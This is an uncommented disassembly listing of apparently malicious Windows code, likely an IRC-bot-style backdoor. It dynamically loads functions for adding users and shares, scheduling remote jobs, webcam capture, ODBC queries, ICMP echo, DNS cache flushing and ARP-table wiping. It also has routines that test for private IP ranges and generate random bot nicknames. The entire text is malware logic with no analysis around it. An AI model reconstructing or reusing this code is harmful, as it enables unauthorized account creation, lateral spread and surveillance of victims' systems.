jz short loc_40A5D0
cmp ds:dword_4E2E8C, ebx
jz short loc_40A5D0
cmp ds:dword_4E2F90, ebx
jz short loc_40A5D0
cmp ds:dword_4E2F3C, ebx
jz short loc_40A5D0
cmp ds:dword_4E2F9C, ebx
jz short loc_40A5D0
cmp ecx, ebx
jz short loc_40A5D0
cmp ds:dword_4E2ECC, ebx
jz short loc_40A5D0
cmp ds:dword_4E2EC4, ebx
jz short loc_40A5D0
cmp ds:dword_4E2ED4, ebx
jz short loc_40A5D0
cmp eax, ebx
jnz short loc_40A5DA
loc_40A5D0: ; CODE XREF: sub_409D10+87Ej
; sub_409D10+886j ...
mov ds:dword_4E30AC, 1
loc_40A5DA: ; CODE XREF: sub_409D10+8BEj
cmp ecx, ebx
jz short loc_40A60F
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx ; InternetOpenA
cmp eax, ebx
mov ds:dword_4E2F78, eax
jnz short loc_40A60F
jmp short loc_40A609
; ---------------------------------------------------------------------------
loc_40A5F4: ; CODE XREF: sub_409D10+7EAj
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov ds:dword_4E30B0, eax
mov ds:dword_4E30AC, 1
loc_40A609: ; CODE XREF: sub_409D10+8E2j
mov ds:dword_4E2F78, ebx
loc_40A60F: ; CODE XREF: sub_409D10+8CCj
; sub_409D10+8E0j
push offset aIcmp_dll ; "icmp.dll"
call ebp ; sub_50AE83
mov edi, eax
cmp edi, ebx
jz short loc_40A659
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi ; sub_50B076
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov ds:dword_4E2F50, eax
call esi ; sub_50B076
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov ds:dword_4E307C, eax
call esi ; sub_50B076
cmp ds:dword_4E2F50, ebx
mov ds:dword_4E2EE0, eax
jz short loc_40A664
cmp ds:dword_4E307C, ebx
jz short loc_40A664
cmp eax, ebx
jnz short loc_40A66E
jmp short loc_40A664
; ---------------------------------------------------------------------------
loc_40A659: ; CODE XREF: sub_409D10+90Aj
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov ds:dword_4E30B8, eax
loc_40A664: ; CODE XREF: sub_409D10+939j
; sub_409D10+941j ...
mov ds:dword_4E30B4, 1
loc_40A66E: ; CODE XREF: sub_409D10+945j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp ; sub_50AE83
mov edi, eax
cmp edi, ebx
jz loc_40A775
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi ; sub_50B076
push offset aNetsharedel ; "NetShareDel"
push edi
mov ds:dword_4E2EBC, eax
call esi ; sub_50B076
push offset aNetshareenum ; "NetShareEnum"
push edi
mov ds:dword_4E2E94, eax
call esi ; sub_50B076
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov ds:dword_4E2F0C, eax
call esi ; sub_50B076
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov ds:dword_4E2F40, eax
call esi ; sub_50B076
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov ds:dword_4E3058, eax
call esi ; sub_50B076
push offset aNetuseradd ; "NetUserAdd"
push edi
mov ds:dword_4E2EF4, eax
call esi ; sub_50B076
push offset aNetuserdel ; "NetUserDel"
push edi
mov ds:dword_4E2EA0, eax
call esi ; sub_50B076
push offset aNetuserenum ; "NetUserEnum"
push edi
mov ds:dword_4E2E90, eax
call esi ; sub_50B076
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov ds:dword_4E2F28, eax
call esi ; sub_50B076
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov ds:dword_4E3020, eax
call esi ; sub_50B076
push offset aNetwkstagetinf ; "NetWkstaGetInfo"
push edi
mov ds:dword_4E2FD8, eax
call esi ; sub_50B076
cmp ds:dword_4E2EBC, ebx
mov ds:dword_4E2EFC, eax
jz short loc_40A780
cmp ds:dword_4E2E94, ebx
jz short loc_40A780
cmp ds:dword_4E2F0C, ebx
jz short loc_40A780
cmp ds:dword_4E2F40, ebx
jz short loc_40A780
cmp ds:dword_4E3058, ebx
jz short loc_40A780
cmp ds:dword_4E2EF4, ebx
jz short loc_40A780
cmp ds:dword_4E2EA0, ebx
jz short loc_40A780
cmp ds:dword_4E2E90, ebx
jz short loc_40A780
cmp ds:dword_4E2F28, ebx
jz short loc_40A780
cmp ds:dword_4E3020, ebx
jz short loc_40A780
cmp ds:dword_4E2FD8, ebx
jnz short loc_40A78A
jmp short loc_40A780
; ---------------------------------------------------------------------------
loc_40A775: ; CODE XREF: sub_409D10+969j
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov ds:dword_4E30C0, eax
loc_40A780: ; CODE XREF: sub_409D10+A11j
; sub_409D10+A19j ...
mov ds:dword_4E30BC, 1
loc_40A78A: ; CODE XREF: sub_409D10+A61j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp ; sub_50AE83
mov edi, eax
cmp edi, ebx
jz short loc_40A7BF
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi ; sub_50B076
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov ds:dword_4E2EE4, eax
call esi ; sub_50B076
cmp ds:dword_4E2EE4, ebx
mov ds:dword_4E2FC0, eax
jz short loc_40A7CA
cmp eax, ebx
jnz short loc_40A7D4
jmp short loc_40A7CA
; ---------------------------------------------------------------------------
loc_40A7BF: ; CODE XREF: sub_409D10+A85j
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov ds:dword_4E30C8, eax
loc_40A7CA: ; CODE XREF: sub_409D10+AA7j
; sub_409D10+AADj
mov ds:dword_4E30C4, 1
loc_40A7D4: ; CODE XREF: sub_409D10+AABj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp ; sub_50AE83
mov edi, eax
cmp edi, ebx
jz short loc_40A809
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi ; sub_50B076
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov ds:dword_4E3044, eax
call esi ; sub_50B076
cmp ds:dword_4E3044, ebx
mov ds:dword_4E3040, eax
jz short loc_40A814
cmp eax, ebx
jnz short loc_40A81E
jmp short loc_40A814
; ---------------------------------------------------------------------------
loc_40A809: ; CODE XREF: sub_409D10+ACFj
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov ds:dword_4E30D0, eax
loc_40A814: ; CODE XREF: sub_409D10+AF1j
; sub_409D10+AF7j
mov ds:dword_4E30CC, 1
loc_40A81E: ; CODE XREF: sub_409D10+AF5j
push offset aMpr_dll ; "mpr.dll"
call ebp ; sub_50AE83
mov edi, eax
cmp edi, ebx
jz short loc_40A87D
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi ; sub_50B076
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov ds:dword_4E3070, eax
call esi ; sub_50B076
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov ds:dword_4E3068, eax
call esi ; sub_50B076
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov ds:dword_4E3030, eax
call esi ; sub_50B076
cmp ds:dword_4E3070, ebx
mov ds:dword_4E2F00, eax
jz short loc_40A888
cmp ds:dword_4E3068, ebx
jz short loc_40A888
cmp ds:dword_4E3030, ebx
jz short loc_40A888
cmp eax, ebx
jnz short loc_40A892
jmp short loc_40A888
; ---------------------------------------------------------------------------
loc_40A87D: ; CODE XREF: sub_409D10+B19j
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov ds:dword_4E30D8, eax
loc_40A888: ; CODE XREF: sub_409D10+B55j
; sub_409D10+B5Dj ...
mov ds:dword_4E30D4, 1
loc_40A892: ; CODE XREF: sub_409D10+B69j
push offset aShell32_dll ; "shell32.dll"
call ebp ; sub_50AE83
mov edi, eax
cmp edi, ebx
jz short loc_40A8C7
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi ; sub_50B076
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov ds:dword_4E2F34, eax
call esi ; sub_50B076
cmp ds:dword_4E2F34, ebx
mov ds:dword_4E303C, eax
jz short loc_40A8D2
cmp eax, ebx
jnz short loc_40A8DC
jmp short loc_40A8D2
; ---------------------------------------------------------------------------
loc_40A8C7: ; CODE XREF: sub_409D10+B8Dj
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov ds:dword_4E30E0, eax
loc_40A8D2: ; CODE XREF: sub_409D10+BAFj
; sub_409D10+BB5j
mov ds:dword_4E30DC, 1
loc_40A8DC: ; CODE XREF: sub_409D10+BB3j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp ; sub_50AE83
mov edi, eax
cmp edi, ebx
jz short loc_40A965
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi ; sub_50B076
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov ds:dword_4E3004, eax
call esi ; sub_50B076
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov ds:dword_4E3050, eax
call esi ; sub_50B076
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov ds:dword_4E2F8C, eax
call esi ; sub_50B076
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov ds:dword_4E2F44, eax
call esi ; sub_50B076
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov ds:dword_4E2FE4, eax
call esi ; sub_50B076
cmp ds:dword_4E3004, ebx
mov ds:dword_4E2F54, eax
jz short loc_40A970
cmp ds:dword_4E3050, ebx
jz short loc_40A970
cmp ds:dword_4E2F8C, ebx
jz short loc_40A970
cmp ds:dword_4E2F44, ebx
jz short loc_40A970
cmp ds:dword_4E2FE4, ebx
jz short loc_40A970
cmp eax, ebx
jnz short loc_40A97A
jmp short loc_40A970
; ---------------------------------------------------------------------------
loc_40A965: ; CODE XREF: sub_409D10+BD7j
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov ds:dword_4E30E8, eax
loc_40A970: ; CODE XREF: sub_409D10+C2Dj
; sub_409D10+C35j ...
mov ds:dword_4E30E4, 1
loc_40A97A: ; CODE XREF: sub_409D10+C51j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp ; sub_50AE83
mov edi, eax
cmp edi, ebx
jz short loc_40A9AF
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi ; sub_50B076
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov ds:dword_4E2F18, eax
call esi ; sub_50B076
cmp ds:dword_4E2F18, ebx
mov ds:dword_4E2FF8, eax
jz short loc_40A9BA
cmp eax, ebx
jnz short loc_40A9C4
jmp short loc_40A9BA
; ---------------------------------------------------------------------------
loc_40A9AF: ; CODE XREF: sub_409D10+C75j
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov ds:dword_4E30F0, eax
loc_40A9BA: ; CODE XREF: sub_409D10+C97j
; sub_409D10+C9Dj
mov ds:dword_4E30EC, 1
loc_40A9C4: ; CODE XREF: sub_409D10+C9Bj
pop edi
xor eax, eax
pop esi
pop ebp
inc eax
pop ebx
retn
sub_409D10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A9CC proc near ; CODE XREF: sub_401C87+24F0p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp ds:dword_4E3084, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_40AA14
push ds:dword_4E3088
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_41EA60
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409C75
add esp, 20h
loc_40AA14: ; CODE XREF: sub_40A9CC+1Aj
cmp ds:dword_4E308C, esi
jz short loc_40AA48
push ds:dword_4E3090
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_41EA60
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409C75
add esp, 20h
loc_40AA48: ; CODE XREF: sub_40A9CC+4Ej
cmp ds:dword_4E3094, esi
jz short loc_40AA7C
push ds:dword_4E3098
lea eax, [ebp+var_200]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_41EA60
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409C75
add esp, 20h
loc_40AA7C: ; CODE XREF: sub_40A9CC+82j
cmp ds:dword_4E309C, esi
jz short loc_40AAB0
push ds:dword_4E30A0
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_41EA60
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409C75
add esp, 20h
loc_40AAB0: ; CODE XREF: sub_40A9CC+B6j
cmp ds:dword_4E30A4, esi
jz short loc_40AAE4
push ds:dword_4E30A8
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_41EA60
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409C75
add esp, 20h
loc_40AAE4: ; CODE XREF: sub_40A9CC+EAj
cmp ds:dword_4E30AC, esi
jz short loc_40AB18
push ds:dword_4E30B0
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_41EA60
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409C75
add esp, 20h
loc_40AB18: ; CODE XREF: sub_40A9CC+11Ej
cmp ds:dword_4E30B4, esi
jz short loc_40AB4C
push ds:dword_4E30B8
lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
call sub_41EA60
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409C75
add esp, 20h
loc_40AB4C: ; CODE XREF: sub_40A9CC+152j
cmp ds:dword_4E30BC, esi
jz short loc_40AB80
push ds:dword_4E30C0
lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_41EA60
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409C75
add esp, 20h
loc_40AB80: ; CODE XREF: sub_40A9CC+186j
cmp ds:dword_4E30C4, esi
jz short loc_40ABB4
push ds:dword_4E30C8
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_41EA60
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409C75
add esp, 20h
loc_40ABB4: ; CODE XREF: sub_40A9CC+1BAj
cmp ds:dword_4E30CC, esi
jz short loc_40ABE8
push ds:dword_4E30D0
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_41EA60
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409C75
add esp, 20h
loc_40ABE8: ; CODE XREF: sub_40A9CC+1EEj
cmp ds:dword_4E30D4, esi
jz short loc_40AC1C
push ds:dword_4E30D8
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_41EA60
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409C75
add esp, 20h
loc_40AC1C: ; CODE XREF: sub_40A9CC+222j
cmp ds:dword_4E30DC, esi
jz short loc_40AC50
push ds:dword_4E30E0
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_41EA60
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409C75
add esp, 20h
loc_40AC50: ; CODE XREF: sub_40A9CC+256j
cmp ds:dword_4E30E4, esi
jz short loc_40AC84
push ds:dword_4E30E8
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_41EA60
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409C75
add esp, 20h
loc_40AC84: ; CODE XREF: sub_40A9CC+28Aj
cmp ds:dword_4E30EC, esi
jz short loc_40ACB8
push ds:dword_4E30F0
lea eax, [ebp+var_200]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax
call sub_41EA60
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409C75
add esp, 20h
loc_40ACB8: ; CODE XREF: sub_40A9CC+2BEj
lea eax, [ebp+var_200]
push offset unk_4441FC
push eax
call sub_41EA60
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_40ACE5
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409C75
add esp, 14h
loc_40ACE5: ; CODE XREF: sub_40A9CC+302j
lea eax, [ebp+var_200]
push eax
call sub_415A3C
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40A9CC endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 20h
cmp dword ptr [ebp+8], 0
push esi
jz loc_40AD8C
push offset dword_4E3104
push dword ptr [ebp+8]
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz short loc_40AD8C
push 20h
lea eax, [ebp-20h]
push dword ptr [ebp+8]
push eax
call sub_41E510
lea eax, [ebp-20h]
push offset a___1 ; ".."
push eax
call sub_41F870
add esp, 14h
test eax, eax
jz short loc_40AD8C
push eax
call sub_41E710
mov dword ptr [esp], (offset a___1+2)
push 0
mov esi, eax
call sub_41F870
pop ecx
test eax, eax
pop ecx
jz short loc_40AD8C
push eax
call sub_41E710
cmp esi, 0Ah
pop ecx
jz short loc_40AD87
cmp esi, 0ACh
jnz short loc_40AD78
cmp eax, 0Fh
jle short loc_40AD8C
cmp eax, 20h
jl short loc_40AD87
loc_40AD78: ; CODE XREF: _0:0040AD6Cj
cmp esi, 0C0h
jnz short loc_40AD8C
cmp eax, 0A8h
jnz short loc_40AD8C
loc_40AD87: ; CODE XREF: _0:0040AD64j _0:0040AD76j
xor eax, eax
inc eax
jmp short loc_40AD8E
; ---------------------------------------------------------------------------
loc_40AD8C: ; CODE XREF: _0:0040AD02j _0:0040AD19j ...
xor eax, eax
loc_40AD8E: ; CODE XREF: _0:0040AD8Aj
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
sub_40AD91 proc near ; CODE XREF: sub_4019A5+4Fp
; sub_401C87+5D52p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call ds:dword_4E3008 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short locret_40ADB9
push [esp+arg_0]
call ds:dword_4E304C ; gethostbyname
test eax, eax
jnz short loc_40ADB2
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40ADB2: ; CODE XREF: sub_40AD91+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_40ADB9: ; CODE XREF: sub_40AD91+Dj
retn
sub_40AD91 endp
; =============== S U B R O U T I N E =======================================
sub_40ADBA proc near ; CODE XREF: sub_4019A5+D6p
mov ecx, ds:dword_4E2EE4
xor eax, eax
test ecx, ecx
jz short locret_40ADC8
jmp ecx
; ---------------------------------------------------------------------------
locret_40ADC8: ; CODE XREF: sub_40ADBA+Aj
retn
sub_40ADBA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ADC9 proc near ; CODE XREF: sub_401C87:loc_4040CBp
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
xor ebx, ebx
push esi
inc ebx
push edi
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call ds:dword_4E3044 ; GetIpNetTable
mov ecx, eax
sub ecx, edi
jz loc_40AE95
sub ecx, 32h
jz loc_40AE8E
sub ecx, 48h
jz short loc_40AE29
sub ecx, 6Eh
jz short loc_40AE22
push eax
push offset unk_444220
loc_40AE11: ; CODE XREF: sub_40ADC9+91j
lea eax, [ebp+var_88]
push eax
call sub_41EA60
add esp, 0Ch
jmp short loc_40AE6F
; ---------------------------------------------------------------------------
loc_40AE22: ; CODE XREF: sub_40ADC9+40j
push offset unk_44424C
jmp short loc_40AE61
; ---------------------------------------------------------------------------
loc_40AE29: ; CODE XREF: sub_40ADC9+3Bj
push [ebp+var_8]
call sub_41BE40
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_41E4B0
add esp, 10h
cmp esi, edi
jz short loc_40AE5C
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call ds:dword_4E3044 ; GetIpNetTable
cmp eax, edi
jz short loc_40AE95
push eax
push offset unk_444270
jmp short loc_40AE11
; ---------------------------------------------------------------------------
loc_40AE5C: ; CODE XREF: sub_40ADC9+79j
push offset unk_44429C
loc_40AE61: ; CODE XREF: sub_40ADC9+5Ej
; sub_40ADC9+CAj
lea eax, [ebp+var_88]
push eax
call sub_41EA60
pop ecx
pop ecx
loc_40AE6F: ; CODE XREF: sub_40ADC9+57j
lea eax, [ebp+var_88]
mov [ebp+var_4], edi
push eax
call sub_415A3C
pop ecx
loc_40AE7F: ; CODE XREF: sub_40ADC9+CEj
; sub_40ADC9+E2j
push esi
call sub_41C9D0
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40AE8E: ; CODE XREF: sub_40ADC9+32j
push offset unk_4442CC
jmp short loc_40AE61
; ---------------------------------------------------------------------------
loc_40AE95: ; CODE XREF: sub_40ADC9+29j
; sub_40ADC9+89j
cmp [esi], edi
jbe short loc_40AE7F
lea ebx, [esi+4]
loc_40AE9C: ; CODE XREF: sub_40ADC9+E0j
push ebx
call ds:dword_4E3040 ; DeleteIpNetEntry
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_40AE9C
jmp short loc_40AE7F
sub_40ADC9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AEAD proc near ; CODE XREF: sub_401C87+21EBp
; sub_401C87+2322p ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_41E4B0
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call ds:dword_4E2F6C ; getsockname
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_4E30F4
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_41EA60
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40AEAD endp
; =============== S U B R O U T I N E =======================================
sub_40AF06 proc near ; CODE XREF: _0:0040C75Bp
; sub_4133AE+24Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
xor edx, edx
cmp ecx, 1
push esi
jle short loc_40AF31
lea eax, [ecx-2]
push edi
shr eax, 1
inc eax
mov esi, eax
neg esi
lea ecx, [ecx+esi*2]
mov esi, [esp+8+arg_0]
loc_40AF24: ; CODE XREF: sub_40AF06+26j
movzx edi, word ptr [esi]
add edx, edi
inc esi
inc esi
dec eax
jnz short loc_40AF24
pop edi
jmp short loc_40AF35
; ---------------------------------------------------------------------------
loc_40AF31: ; CODE XREF: sub_40AF06+Aj
mov esi, [esp+4+arg_0]
loc_40AF35: ; CODE XREF: sub_40AF06+29j
test ecx, ecx
jz short loc_40AF3E
movzx eax, byte ptr [esi]
add edx, eax
loc_40AF3E: ; CODE XREF: sub_40AF06+31j
mov ecx, edx
and edx, 0FFFFh
shr ecx, 10h
add ecx, edx
pop esi
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40AF06 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+0Ch]
mov edx, [ebp+8]
push esi
xor esi, esi
cmp ecx, 1
mov [ebp-4], esi
jle short loc_40AF85
lea eax, [ecx-2]
push edi
shr eax, 1
inc eax
lea edi, [eax+eax]
sub ecx, edi
loc_40AF77: ; CODE XREF: _0:0040AF7Fj
movzx edi, word ptr [edx]
add esi, edi
inc edx
inc edx
dec eax
jnz short loc_40AF77
pop edi
cmp ecx, 1
loc_40AF85: ; CODE XREF: _0:0040AF69j
jnz short loc_40AF92
mov al, [edx]
mov [ebp-4], al
movzx eax, word ptr [ebp-4]
add esi, eax
loc_40AF92: ; CODE XREF: _0:loc_40AF85j
mov ecx, esi
and esi, 0FFFFh
sar ecx, 10h
add ecx, esi
pop esi
mov eax, ecx
sar eax, 10h
add eax, ecx
not eax
leave
retn
; =============== S U B R O U T I N E =======================================
sub_40AFAB proc near ; CODE XREF: sub_40B38F+4Ap
; DATA XREF: _2:off_444318o
arg_0 = dword ptr 4
push esi
push edi
call ds:dword_4F537C ; GetTickCount
push eax
call sub_41EB60
call sub_41EB70
xor edx, edx
mov ecx, 48Fh
div ecx
mov edi, [esp+0Ch+arg_0]
push ds:off_446DB0[edx*4]
push offset dword_447FEC
push 1Ch
push edi
call sub_41EC30
xor esi, esi
add esp, 14h
cmp ds:dword_43F09C, esi
jle short loc_40B012
loc_40AFEC: ; CODE XREF: sub_40AFAB+65j
call sub_41EB70
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_447FF0
push 1Ch
push edi
call sub_41EC30
add esp, 14h
inc esi
cmp esi, ds:dword_43F09C
jl short loc_40AFEC
loc_40B012: ; CODE XREF: sub_40AFAB+3Fj
mov eax, edi
pop edi
pop esi
retn
sub_40AFAB endp
; ---------------------------------------------------------------------------
push esi
push edi
call ds:dword_4F537C ; GetTickCount
push eax
call sub_41EB60
mov edi, [esp+10h]
mov dword ptr [esp], offset asc_43F12A ; "-"
push offset dword_447FF8
push 1Ch
push edi
call sub_41EC30
xor esi, esi
add esp, 10h
cmp ds:dword_43F09C, esi
jle short loc_40B070
loc_40B04A: ; CODE XREF: _0:0040B06Ej
call sub_41EB70
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_447FFC
push 1Ch
push edi
call sub_41EC30
add esp, 14h
inc esi
cmp esi, ds:dword_43F09C
jl short loc_40B04A
loc_40B070: ; CODE XREF: _0:0040B048j
mov eax, edi
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_40B075 proc near ; CODE XREF: sub_401C87+6A68p
arg_0 = dword ptr 4
push ebx
push esi
push edi
call ds:dword_4F537C ; GetTickCount
push eax
call sub_41EB60
pop ecx
call sub_41EB70
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, ds:dword_43F09C
test esi, esi
jle short loc_40B0B8
loc_40B0A2: ; CODE XREF: sub_40B075+41j
call sub_41EB70
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_40B0A2
loc_40B0B8: ; CODE XREF: sub_40B075+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40B075 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, offset dword_448004
mov dword ptr [ebp-4], 100h
xor edi, edi
call ds:dword_4F537C ; GetTickCount
push eax
call sub_41EB60
pop ecx
lea eax, [ebp-4]
push eax
push esi
call ds:dword_4F5394 ; GetComputerNameA
test eax, eax
jnz short loc_40B0F7
mov esi, offset dword_448008
loc_40B0F7: ; CODE XREF: _0:0040B0F0j
movsx eax, byte ptr [esi]
push 41h
pop ecx
loc_40B0FD: ; CODE XREF: _0:0040B108j
cmp eax, ecx
jnz short loc_40B104
xor edi, edi
inc edi
loc_40B104: ; CODE XREF: _0:0040B0FFj
inc ecx
cmp ecx, 5Bh
jl short loc_40B0FD
push 61h
pop ecx
loc_40B10D: ; CODE XREF: _0:0040B118j
cmp eax, ecx
jnz short loc_40B114
xor edi, edi
inc edi
loc_40B114: ; CODE XREF: _0:0040B10Fj
inc ecx
cmp ecx, 7Bh
jl short loc_40B10D
test edi, edi
jnz short loc_40B123
mov esi, offset dword_44800C
loc_40B123: ; CODE XREF: _0:0040B11Cj
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_41EC30
xor esi, esi
add esp, 0Ch
cmp ds:dword_43F09C, esi
jle short loc_40B162
loc_40B13C: ; CODE XREF: _0:0040B160j
call sub_41EB70
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_448010
push 1Ch
push edi
call sub_41EC30
add esp, 14h
inc esi
cmp esi, ds:dword_43F09C
jl short loc_40B13C
loc_40B162: ; CODE XREF: _0:0040B13Aj
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
